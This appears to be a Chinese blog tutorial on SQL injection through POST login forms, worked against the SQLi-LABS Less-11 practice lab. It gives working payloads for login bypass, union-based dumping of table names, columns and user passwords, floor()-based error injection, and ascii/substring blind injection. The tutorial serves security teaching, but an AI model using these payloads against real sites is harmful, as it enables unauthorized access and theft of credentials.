5-Web安全——基于POST提交的SQL注入

目录

1. POST提交注入方式

2. POST提交联合注入

3. POST提交报错注入

4. POST提交盲注

 


 

 

1. POST提交注入方式

在之前的示例中基本上是使用的get方式提交,本篇使用的POST提交注入方式,两种方式区别在于:

  1. GET方式提交可以被网页缓存,POST方式则不会
  2. GET提交参数会保留在浏览器的历史记录中,POST方式不会
  3. GET提交可以被收藏为书签,POST方式不会
  4. GET提交有长度限制,最长2048个字符;POST提交没有长度要求,允许使用ASCII码值,二进制数据

总体上来说,POST提交方式比GET方式更加安全,真实环境中基本上不使用GET方式,而是使用POST方式。

 

 

2. POST提交联合注入

 

一般网站都会有用户名和密码,提示用户登录:

5-Web安全——基于POST提交的SQL注入_第1张图片

 

 

 

分析SQLi-LABS Less-11的源代码:

5-Web安全——基于POST提交的SQL注入_第2张图片

 

重点分析圈出的代码部分,后台代码中首先会获取到uname和passwd(即用户名和密码),然后直接拼接到sql语句中,没有进行任何形式的过滤和校验,从分析代码的过程中还可以得知当前注入类型是字符型注入,并且注入的闭合方式是以“ ’ ”单引号结束的,到这基本可以确定,username存在注入点,可以使用post提交注入,用’or’指令绕过密码验证。

 

当然,在不进行代码审计的情况下,可以通过构造特定的SQL语句注入来判断,具体流程参考第一篇SQL注入的文章中的万能密码漏洞分析:1-Web安全——初识SQL注入漏洞。

 

 

在SQLi-LABS Less-11使用万能密码进行登录测试:

5-Web安全——基于POST提交的SQL注入_第3张图片

可以看到明显是可登录的,说明万能密码漏洞利用成功。

 

 

 

接下来通过order by语句来确定当前数据库表的列数:

5-Web安全——基于POST提交的SQL注入_第4张图片

通过order by 1,2语句发现SQL语句执行正常,当使用order by 1,2,3语句,数据库则返回错误信息:Unknown column '3' in 'order clause' ,说明当前表的字段列数只有2列了。

 

 

确定字段列数后,把uname的值修改成不存在的ad用户,判断出显示位:

uname=ad' union select 1,2#&passwd=123&submit=Submit

5-Web安全——基于POST提交的SQL注入_第5张图片

 

 

 

接着再判断数据库的版本和数据库名字等信息:

uname=ad' union select version(),database()#&passwd=123&submit=Submit

5-Web安全——基于POST提交的SQL注入_第6张图片

 

基于POST提交的注入方式查询当前数据库下的所有表名:

uname=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())#&passwd=123&submit=Submit

5-Web安全——基于POST提交的SQL注入_第7张图片

 

 

基于POST提交的注入方式查询当前数据库表的所有列名:

uname=1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')#&passwd=123&submit=Submit

 

 

基于POST提交的注入方式查询当前数据库表的所有用户名和密码:

uname=1' union select 1,(select group_concat(username,'@',password) from users)#&passwd=123&submit=Submit

 

 

3. POST提交报错注入

 

基于POST方式提交报错注入,在提交用户名和密码数据确定页面进行报错,再判断页面的闭合方式:

5-Web安全——基于POST提交的SQL注入_第8张图片

如果页面没有反馈信息但会提示报错的话,可以使用报错注入extractvalue(),updatexml(),floor()。

 

 

这里使用floor报错方式注入,在提交用户名时用查询语句替换掉or语句:

uname=admin') union select count(*),concat_ws('~',(select database()),floor(rand(0)*2)) as a from information_schema.tables group by a #&passwd=123&submit=Submit

5-Web安全——基于POST提交的SQL注入_第9张图片

基于POST提交方式的报错注入直接就把数据库名字给爆出来了。

 

使用floor报错,查询当前数据库下的所有表名:

uname=admin') union select count(*),concat_ws('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a #&passwd=123&submit=Submit

5-Web安全——基于POST提交的SQL注入_第10张图片

细心的同学可能会发现,其实在这条SQL语句中就是将concat_ws函数中的第二个参数中的select database()替换掉了,使用limit进行控制显示表名。

 

使用floor报错,查询当前数据库下的所有表的列名:

uname=admin') union select count(*),concat_ws('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a #&passwd=123&submit=Submit

 

 

 

 

 

4. POST提交盲注

 

使用ascii函数盲注,利用二分法查询当前数据库名:

uname=admin' or ascii(substring(database(),1,1))>112#&passwd=123&submit=Submit

5-Web安全——基于POST提交的SQL注入_第11张图片

利用二分法原则当判断第一个字母的ascii码值是否大于112时,web页面返回的是successfully logged in。

 

 

进一步判断第一个字母的ascii码值是否大于125:

5-Web安全——基于POST提交的SQL注入_第12张图片

说明第一个字母的ascii码值是大于112,但是要小于125的,后面的字母以此类推...... 可以逐个猜解出当前数据库的名字,表的列名,用户名和密码等信息。

 

你可能感兴趣的:(网络安全,信息安全,mysql,java,php,安全)